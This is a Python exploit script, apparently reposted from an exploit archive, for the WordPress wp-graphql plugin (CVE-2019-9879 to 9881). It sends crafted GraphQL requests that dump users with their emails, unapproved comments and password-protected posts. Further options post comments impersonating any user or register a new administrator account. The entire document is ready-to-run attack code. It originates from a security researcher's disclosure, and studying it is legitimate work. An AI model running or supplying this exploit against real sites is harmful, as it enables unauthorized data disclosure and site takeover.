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- #!/usr/bin/env python
- #
- # Author: Simone Quatrini of Pen Test Partners
- # CVEs: 2019-9879, 2019-9880, 2019-9881
- # Tested on Wordpress 5.1.1 and wp-graphql 0.2.3
- # https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/
- import argparse
- import requests
- import base64
- import json
- import sys
- parser = argparse.ArgumentParser(description="wp-graphql <= 0.2.3 multi-exploit")
- parser.add_argument('--url', action='store', dest='url', required=True, help="wp-graphql endpoint. e.g.: http://localhost/wordpress/graphql")
- parser.add_argument('--post-comment', nargs=3, action='store', metavar=('postid','userid','commenttext'), dest='comment', required=False, help="Post comment impersonating a specific user. e.g.: --post-comment 2 1 Test")
- parser.add_argument('--register-admin', nargs=3, action='store', metavar=('email','password','username'), dest='register', required=False, help="Register a new admin user. e.g.: --register-admin test@example.com MySecretP@ssword hax0r")
- parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response")
- args = parser.parse_args()
- def show_plugins(url, headers, verbose):
- payload = {"query":"{plugins{edges{node{name,description,version}}}}"}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- if response.status_code == 200 and 'node' in response.text:
- print "[+] Installed plugins:"
- parsed = json.loads(response.text)
- for i in parsed['data']['plugins']['edges']:
- print i['node']['name']+" "+i['node']['version']
- else:
- print "\n[-] Error code fetching plugins: ", response.status_code
- if verbose:
- print(response.text)
- def show_themes(url, headers, verbose):
- payload = {"query":"{themes{edges{node{name,description,version}}}}"}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- if response.status_code == 200 and 'node' in response.text:
- print "\n[+] Installed themes:"
- parsed = json.loads(response.text)
- for i in parsed['data']['themes']['edges']:
- print i['node']['name']+" "+str(i['node']['version'])
- else:
- print "\n[-] Error code fetching themes: ", response.status_code
- if verbose:
- print(response.text)
- def show_medias(url, headers, verbose):
- payload = {"query":"{mediaItems{edges{node{id,mediaDetails{file,sizes{file,height,mimeType,name,sourceUrl,width}},uri}}}}"}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- if response.status_code == 200 and 'node' in response.text:
- print "\n[+] Media items:"
- parsed = json.loads(response.text)
- for i in parsed['data']['mediaItems']['edges']:
- print "/wp-content/uploads/"+i['node']['mediaDetails']['file']
- else:
- print "\n[-] Error code fetching media items: ", response.status_code
- if verbose:
- print(response.text)
- def show_users(url, headers, verbose):
- payload = {"query":"{users{edges{node{firstName,lastName,nickname,roles,email,userId,username}}}}"}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- if response.status_code == 200 and 'node' in response.text:
- print "\n[+] User list:"
- parsed = json.loads(response.text)
- for i in parsed['data']['users']['edges']:
- print "ID: "+str(i['node']['userId'])+" - Username: "+i['node']['username']+" - Email: "+i['node']['email']+" - Role: "+i['node']['roles'][0]
- else:
- print "\n[-] Error code fetching user list: ", response.status_code
- if verbose:
- print(response.text)
- def show_comments(url, headers, verbose):
- payload = {"query":"{comments(where:{includeUnapproved:[]}){edges{node{id,commentId,approved,content(format:RAW)}}}}"}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- if response.status_code == 200 and 'node' in response.text:
- print "\n[+] Comments list:"
- parsed = json.loads(response.text)
- for i in parsed['data']['comments']['edges']:
- print "ID: "+str(i['node']['commentId'])+" - Approved: "+str(i['node']['approved'])+" - Text: "+str(i['node']['content'])
- else:
- print "\n[-] Error code fetching comments list: ", response.status_code
- if verbose:
- print(response.text)
- def show_password_protected(url, headers, verbose):
- payload = {"query":"{posts(where:{hasPassword:true}){edges{node{title,id,content(format:RAW)}}}}"}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- if response.status_code == 200 and 'node' in response.text:
- print "\n[+] Found the following password protected post(s):"
- parsed = json.loads(response.text)
- for i in parsed['data']['posts']['edges']:
- print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content'])
- else:
- print "\n[-] No password protected post found"
- if verbose:
- print(response.text)
- payload = {"query":"{pages(where:{hasPassword:true}){edges{node{id,link,title,uri,content(format:RAW)}}}}"}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- if response.status_code == 200 and 'node' in response.text:
- print "\n[+] Found the following password protected page(s):"
- parsed = json.loads(response.text)
- for i in parsed['data']['pages']['edges']:
- print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content'])
- else:
- print "\n[-] No password protected page found"
- if verbose:
- print(response.text)
- def post_comment(url, headers, postID, userID, comment, verbose):
- payload = {"query":"mutation{createComment(input:{postId:"+postID+",userId:"+userID+",content:\""+comment+"\",clientMutationId:\"UWHATM8\",}){clientMutationId}}"}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- if response.status_code == 200 and 'UWHATM8' in response.text:
- print "[+] Comment posted on article ID "+postID+""
- else:
- print "\n[-] Error posting the comment. Check that postID and userID are correct"
- if verbose:
- print(response.text)
- def register_admin(url, headers, email, password, username, verbose):
- payload = {"query":"mutation{registerUser(input:{clientMutationId:\"UWHATM8\",email:\""+email+"\",password:\""+password+"\",username:\""+username+"\",roles:[\"administrator\"]}){clientMutationId}}"}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- if response.status_code == 200 and 'UWHATM8' in response.text:
- print "[+] New admin created. Login with "+username+":"+password
- else:
- print "\n[-] Registrations are closed, can't proceed."
- if verbose:
- print(response.text)
- def check_endpoint(url, headers):
- payload = {'':''}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- if response.status_code == 200:
- print "[+] Endpoint is reachable\n"
- else:
- print "\n[-] Endpoint response code: ", response.status_code
- sys.exit()
- url = args.url
- headers = {'Content-type': 'application/json', 'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}
- verbose = args.verbose
- # Only in case '--post-comment' is passed
- if args.comment:
- postID, userID, comment = args.comment
- check_endpoint(url, headers)
- post_comment(url, headers, postID, userID, comment, verbose)
- sys.exit()
- # Only in case '--register-admin' is passed
- if args.register:
- email, password, username = args.register
- check_endpoint(url, headers)
- register_admin(url, headers, email, password, username, verbose)
- sys.exit()
- # Default actions if only '--url' is passed
- show_plugins(url, headers, verbose)
- show_themes(url, headers, verbose)
- show_medias(url, headers, verbose)
- show_users(url, headers, verbose)
- show_comments(url, headers, verbose)
- show_password_protected(url, headers, verbose)
- # 0day.today [2019-05-22] #
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